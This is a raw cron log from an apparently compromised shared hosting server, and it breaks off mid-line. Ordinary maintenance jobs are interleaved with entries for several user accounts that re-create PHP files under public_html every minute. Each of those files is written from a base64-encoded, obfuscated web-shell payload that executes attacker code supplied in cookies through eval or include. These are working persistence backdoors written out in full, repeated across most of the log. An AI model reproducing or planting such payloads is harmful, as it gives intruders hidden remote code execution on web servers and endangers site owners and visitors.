Mar  2 05:08:01 medusa CROND[20174]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:08:01 medusa CROND[20175]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:08:01 medusa CROND[20176]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:08:01 medusa CROND[20177]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:08:01 medusa CROND[20185]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 05:08:01 medusa CROND[20186]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:08:01 medusa CROND[20191]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:09:01 medusa CROND[6441]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:09:01 medusa CROND[6710]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  2 05:09:01 medusa CROND[6711]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:09:01 medusa CROND[6709]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 05:09:01 medusa CROND[6713]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:09:01 medusa CROND[6712]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:09:01 medusa CROND[6715]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:09:01 medusa CROND[6719]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:09:01 medusa CROND[6725]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:09:01 medusa CROND[6728]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:09:01 medusa CROND[6732]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:09:01 medusa CROND[6734]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:09:01 medusa CROND[6723]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:10:01 medusa CROND[25708]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:10:01 medusa CROND[25820]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 05:10:01 medusa CROND[25856]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 05:10:01 medusa CROND[26028]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:10:01 medusa CROND[26029]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 05:10:01 medusa CROND[26030]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 05:10:01 medusa CROND[26031]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 05:10:01 medusa CROND[26032]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 05:10:01 medusa CROND[26036]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:10:01 medusa CROND[26035]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 05:10:01 medusa CROND[26040]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:10:01 medusa CROND[26050]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 05:10:01 medusa CROND[26053]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:10:01 medusa CROND[26048]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 05:10:01 medusa CROND[26058]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:10:01 medusa CROND[26059]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 05:10:01 medusa CROND[26061]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 05:10:01 medusa CROND[26052]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 05:10:01 medusa CROND[26051]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 05:10:01 medusa CROND[26063]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:10:01 medusa CROND[26068]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 05:10:01 medusa CROND[26070]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3l